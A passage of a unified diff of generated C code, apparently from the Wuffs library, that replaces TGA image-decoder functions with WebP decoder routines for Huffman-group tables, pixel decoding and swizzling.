v_lit_length = 0; +- uint32_t v_run_length = 0; +- uint64_t v_num_dst_bytes = 0; +- uint32_t v_num_src_bytes = 0; +- uint32_t v_c = 0; +- uint32_t v_c5 = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_use_hg_table = 0; ++ uint32_t v_tile_size_log2 = 0; ++ wuffs_base__slice_u8 v_hg_pixels = {0}; ++ uint64_t v_n = 0; ++ wuffs_base__slice_u8 v_p = {0}; ++ uint32_t v_hg_plus_1 = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -59974,276 +75034,155 @@ wuffs_tga__decoder__do_decode_frame( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_hg_table; + if (coro_susp_point) { +- v_dst_bytes_per_pixel = self->private_data.s_do_decode_frame[0].v_dst_bytes_per_pixel; +- v_dst_x = self->private_data.s_do_decode_frame[0].v_dst_x; +- v_dst_y = self->private_data.s_do_decode_frame[0].v_dst_y; +- v_mark = self->private_data.s_do_decode_frame[0].v_mark; +- v_num_pixels32 = self->private_data.s_do_decode_frame[0].v_num_pixels32; +- v_lit_length = self->private_data.s_do_decode_frame[0].v_lit_length; +- v_run_length = self->private_data.s_do_decode_frame[0].v_run_length; +- v_num_dst_bytes = self->private_data.s_do_decode_frame[0].v_num_dst_bytes; ++ v_tile_size_log2 = self->private_data.s_decode_hg_table.v_tile_size_log2; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_tga__decoder__do_decode_frame_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_use_hg_table = (self->private_impl.f_bits & 1u); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ if (v_use_hg_table == 0u) { ++ self->private_impl.f_overall_n_huffman_groups = 1u; ++ self->private_impl.f_overall_tile_size_log2 = 0u; ++ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))) || (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u])) > ((uint64_t)(a_workbuf.len)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; + } +- if (status.repr) { +- goto suspend; ++ v_hg_pixels = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])), ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))); ++ if (((uint64_t)(v_hg_pixels.len)) >= 4u) { ++ v_hg_pixels.ptr[0u] = 0u; ++ v_hg_pixels.ptr[1u] = 0u; ++ v_hg_pixels.ptr[2u] = 0u; ++ v_hg_pixels.ptr[3u] = 0u; + } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ status = wuffs_base__make_status(NULL); + goto ok; + } +- if (self->private_impl.f_header_color_map_type != 0u) { +- v_src_palette = wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024); +- } +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), +- wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), +- v_src_palette, +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ if (self->private_impl.f_n_bits < 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (self->private_impl.f_n_bits >= 3u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); + goto exit; + } +- goto ok; ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; + } +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; ++ v_tile_size_log2 = ((self->private_impl.f_bits & 7u) + 2u); ++ self->private_impl.f_bits >>= 3u; ++ self->private_impl.f_n_bits -= 3u; ++ self->private_impl.f_overall_tile_size_log2 = v_tile_size_log2; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); +- if ((self->private_impl.f_header_image_descriptor & 32u) == 0u) { +- v_dst_y = ((uint32_t)(self->private_impl.f_height - 1u)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_webp__decoder__decode_color_cache_parameters(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- if ((self->private_impl.f_header_image_type & 8u) == 0u) { +- v_lit_length = self->private_impl.f_width; ++ if (status.repr) { ++ goto suspend; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_webp__decoder__decode_huffman_groups(self, a_src, 1u); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; + } +- label__resume__continue:; + while (true) { +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); +- while (v_dst_y < self->private_impl.f_height) { +- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_dst_y); +- v_dst_start = (((uint64_t)(v_dst_x)) * v_dst_bytes_per_pixel); +- if (v_dst_start <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_start); +- } else { +- v_dst = wuffs_base__utility__empty_slice_u8(); +- } +- while (v_dst_x < self->private_impl.f_width) { +- if (self->private_impl.f_src_bytes_per_pixel > 0u) { +- if (v_lit_length > 0u) { +- v_mark = ((uint64_t)(iop_a_src - io0_a_src)); +- v_num_pixels64 = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(self->private_impl.f_src_bytes_per_pixel))); +- v_num_pixels32 = ((uint32_t)(wuffs_base__u64__min(v_num_pixels64, ((uint64_t)(v_lit_length))))); +- v_num_dst_bytes = (((uint64_t)(v_num_pixels32)) * v_dst_bytes_per_pixel); +- v_num_src_bytes = (v_num_pixels32 * self->private_impl.f_src_bytes_per_pixel); +- self->private_data.s_do_decode_frame[0].scratch = v_num_src_bytes; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); +- if (v_num_dst_bytes <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_num_dst_bytes); +- } else { +- v_dst = wuffs_base__utility__empty_slice_u8(); +- } +- v_dst_x += v_num_pixels32; +- v_lit_length = (((uint32_t)(v_lit_length - v_num_pixels32)) & 65535u); +- if (v_lit_length > 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- goto label__resume__continue; +- } +- } else if (v_run_length > 0u) { +- v_run_length -= 1u; +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_scratch_bytes_per_pixel)); +- if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); +- } +- v_dst_x += 1u; +- } else { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- goto label__resume__continue; +- } +- if (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) < 128u) { +- v_lit_length = (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) + 1u); +- iop_a_src += 1u; +- if ((v_lit_length + v_dst_x) > self->private_impl.f_width) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); +- goto exit; +- } +- } else { +- if (self->private_impl.f_src_bytes_per_pixel == 1u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- goto label__resume__continue; +- } +- v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); +- iop_a_src += 1u; +- self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- } else if (self->private_impl.f_src_bytes_per_pixel == 3u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); +- goto label__resume__continue; +- } +- v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); +- iop_a_src += 1u; +- self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- self->private_data.f_scratch[1u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- self->private_data.f_scratch[2u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- } else { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 5u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); +- goto label__resume__continue; +- } +- v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); +- iop_a_src += 1u; +- self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- self->private_data.f_scratch[1u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- self->private_data.f_scratch[2u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- self->private_data.f_scratch[3u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- } +- if ((v_run_length + v_dst_x) > self->private_impl.f_width) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); +- goto exit; +- } +- } +- } +- } else { +- if (v_lit_length > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); +- goto label__resume__continue; +- } +- v_c = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2u; +- v_c5 = (31u & (v_c >> 0u)); +- self->private_data.f_scratch[0u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- v_c5 = (31u & (v_c >> 5u)); +- self->private_data.f_scratch[1u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- v_c5 = (31u & (v_c >> 10u)); +- self->private_data.f_scratch[2u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- self->private_data.f_scratch[3u] = 255u; +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, 4)); +- if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); +- } +- v_dst_x += 1u; +- v_lit_length -= 1u; +- } else if (v_run_length > 0u) { +- v_run_length -= 1u; +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_scratch_bytes_per_pixel)); +- if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); +- } +- v_dst_x += 1u; +- } else { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); +- goto label__resume__continue; +- } +- if (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) < 128u) { +- v_lit_length = (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) + 1u); +- iop_a_src += 1u; +- if ((v_lit_length + v_dst_x) > self->private_impl.f_width) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); +- goto exit; +- } +- } else { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); +- goto label__resume__continue; +- } +- v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); +- iop_a_src += 1u; +- v_c = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2u; +- v_c5 = (31u & (v_c >> 0u)); +- self->private_data.f_scratch[0u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- v_c5 = (31u & (v_c >> 5u)); +- self->private_data.f_scratch[1u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- v_c5 = (31u & (v_c >> 10u)); +- self->private_data.f_scratch[2u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- self->private_data.f_scratch[3u] = 255u; +- if ((v_run_length + v_dst_x) > self->private_impl.f_width) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); +- goto exit; +- } +- } +- } +- } +- } +- v_dst_x = 0u; +- if ((self->private_impl.f_header_image_descriptor & 32u) == 0u) { +- v_dst_y -= 1u; +- } else { +- v_dst_y += 1u; ++ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))) || (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u])) > ((uint64_t)(a_workbuf.len)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if ((self->private_impl.f_header_image_type & 8u) == 0u) { +- v_lit_length = self->private_impl.f_width; ++ wuffs_base__status t_2 = wuffs_webp__decoder__decode_pixels(self, ++ wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])), ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))), ++ a_src, ++ ((a_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2), ++ ((self->private_impl.f_height + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2), ++ wuffs_base__utility__empty_slice_u8(), ++ 0u); ++ v_status = t_2; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } + } +- break; ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ } ++ self->private_impl.f_overall_n_huffman_groups = 1u; ++ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))) || (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u])) > ((uint64_t)(a_workbuf.len)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ v_hg_pixels = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])), ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))); ++ v_n = ((uint64_t)((((a_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2) * ((self->private_impl.f_height + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2) * 4u))); ++ if (v_n > ((uint64_t)(v_hg_pixels.len))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ v_p = wuffs_base__slice_u8__subslice_j(v_hg_pixels, v_n); ++ while (((uint64_t)(v_p.len)) >= 4u) { ++ if (v_p.ptr[2u] != 0u) { ++ status = wuffs_base__make_status(wuffs_webp__error__unsupported_number_of_huffman_groups); ++ goto exit; ++ } ++ v_hg_plus_1 = (((uint32_t)(v_p.ptr[1u])) + 1u); ++ if (self->private_impl.f_overall_n_huffman_groups < v_hg_plus_1) { ++ self->private_impl.f_overall_n_huffman_groups = v_hg_plus_1; ++ } ++ v_p = wuffs_base__slice_u8__subslice_i(v_p, 4u); + } +- self->private_impl.f_call_sequence = 96u; + + ok: +- self->private_impl.p_do_decode_frame[0] = 0; ++ self->private_impl.p_decode_hg_table = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_frame[0].v_dst_bytes_per_pixel = v_dst_bytes_per_pixel; +- self->private_data.s_do_decode_frame[0].v_dst_x = v_dst_x; +- self->private_data.s_do_decode_frame[0].v_dst_y = v_dst_y; +- self->private_data.s_do_decode_frame[0].v_mark = v_mark; +- self->private_data.s_do_decode_frame[0].v_num_pixels32 = v_num_pixels32; +- self->private_data.s_do_decode_frame[0].v_lit_length = v_lit_length; +- self->private_data.s_do_decode_frame[0].v_run_length = v_run_length; +- self->private_data.s_do_decode_frame[0].v_num_dst_bytes = v_num_dst_bytes; ++ self->private_impl.p_decode_hg_table = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_hg_table.v_tile_size_log2 = v_tile_size_log2; + + goto exit; + exit: +@@ -60254,12 +75193,117 @@ wuffs_tga__decoder__do_decode_frame( + return status; + } + +-// -------- func tga.decoder.frame_dirty_rect ++// -------- func webp.decoder.decode_pixels ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_pixels( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_dst, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_width, ++ uint32_t a_height, ++ wuffs_base__slice_u8 a_tile_data, ++ uint32_t a_tile_size_log2) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_i = 0; ++ uint32_t v_n = 0; ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_pixels; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ v_i = 0u; ++ v_n = (((uint32_t)(1u)) << self->private_impl.f_color_cache_bits); ++ while (v_i < v_n) { ++ self->private_data.f_color_cache[v_i] = 0u; ++ v_i += 1u; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_webp__decoder__decode_pixels_slow(self, ++ a_dst, ++ a_src, ++ a_width, ++ a_height, ++ a_tile_data, ++ a_tile_size_log2); ++ if (status.repr) { ++ goto suspend; ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_pixels = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_pixels = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func webp.decoder.swizzle ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__swizzle( ++ wuffs_webp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_src, ++ wuffs_base__pixel_blend a_blend) { ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ uint64_t v_src_bytes_per_row = 0; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint32_t v_y = 0; ++ ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_palette, 1024)), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), ++ wuffs_base__utility__empty_slice_u8(), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ return wuffs_private_impl__status__ensure_not_a_suspension(v_status); ++ } ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ } ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_palette, 1024)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ v_src_bytes_per_row = ((uint64_t)((self->private_impl.f_width * 4u))); ++ while (v_src_bytes_per_row <= ((uint64_t)(a_src.len))) { ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__slice_u8__subslice_j(a_src, v_src_bytes_per_row)); ++ a_src = wuffs_base__slice_u8__subslice_i(a_src, v_src_bytes_per_row); ++ v_y += 1u; ++ } ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func webp.decoder.frame_dirty_rect + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_tga__decoder__frame_dirty_rect( +- const wuffs_tga__decoder* self) { ++wuffs_webp__decoder__frame_dirty_rect( ++ const wuffs_webp__decoder* self) { + if (!self) { + return wuffs_base__utility__empty_rect_ie_u32(); + } +@@ -60275,12 +75319,12 @@ wuffs_tga__decoder__frame_dirty_rect( + self->private_impl.f_height); + } + +-// -------- func tga.decoder.num_animation_loops ++// -------- func webp.decoder.num_animation_loops + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_tga__decoder__num_animation_loops( +- const wuffs_tga__decoder* self) { ++wuffs_webp__decoder__num_animation_loops( ++ const wuffs_webp__decoder* self) { + if (!self) { + return 0; + } +@@ -60292,12 +75336,12 @@ wuffs_tga__decoder__num_animation_loops( + return 0u; + } + +-// -------- func tga.decoder.num_decoded_frame_configs ++// -------- func webp.decoder.num_decoded_frame_configs + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__num_decoded_frame_configs( +- const wuffs_tga__decoder* self) { ++wuffs_webp__decoder__num_decoded_frame_configs( ++ const wuffs_webp__decoder* self) { + if (!self) { + return 0; + } +@@ -60312,12 +75356,12 @@ wuffs_tga__decoder__num_decoded_frame_configs( + return 0u; + } + +-// -------- func tga.decoder.num_decoded_frames ++// -------- func webp.decoder.num_decoded_frames + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__num_decoded_frames( +- const wuffs_tga__decoder* self) { ++wuffs_webp__decoder__num_decoded_frames( ++ const wuffs_webp__decoder* self) { + if (!self) { + return 0; + } +@@ -60332,12 +75376,12 @@ wuffs_tga__decoder__num_decoded_frames( + return 0u; + } + +-// -------- func tga.decoder.restart_frame ++// -------- func webp.decoder.restart_frame + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__restart_frame( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__restart_frame( ++ wuffs_webp__decoder* self, + uint64_t a_index, + uint64_t a_io_position) { + if (!self) { +@@ -60353,31 +75397,30 @@ wuffs_tga__decoder__restart_frame( + if (self->private_impl.f_call_sequence < 32u) { + return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); + } +- if (a_index != 0u) { ++ if ((a_index != 0u) || (a_io_position != self->private_impl.f_frame_config_io_position)) { + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + self->private_impl.f_call_sequence = 40u; +- self->private_impl.f_frame_config_io_position = a_io_position; + return wuffs_base__make_status(NULL); + } + +-// -------- func tga.decoder.set_report_metadata ++// -------- func webp.decoder.set_report_metadata + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_tga__decoder__set_report_metadata( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__set_report_metadata( ++ wuffs_webp__decoder* self, + uint32_t a_fourcc, + bool a_report) { + return wuffs_base__make_empty_struct(); + } + +-// -------- func tga.decoder.tell_me_more ++// -------- func webp.decoder.tell_me_more + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__tell_me_more( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__tell_me_more( ++ wuffs_webp__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src) { +@@ -60415,29 +75458,12 @@ wuffs_tga__decoder__tell_me_more( + return status; + } + +-// -------- func tga.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__history_retain_length( +- const wuffs_tga__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func tga.decoder.workbuf_len ++// -------- func webp.decoder.workbuf_len + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_tga__decoder__workbuf_len( +- const wuffs_tga__decoder* self) { 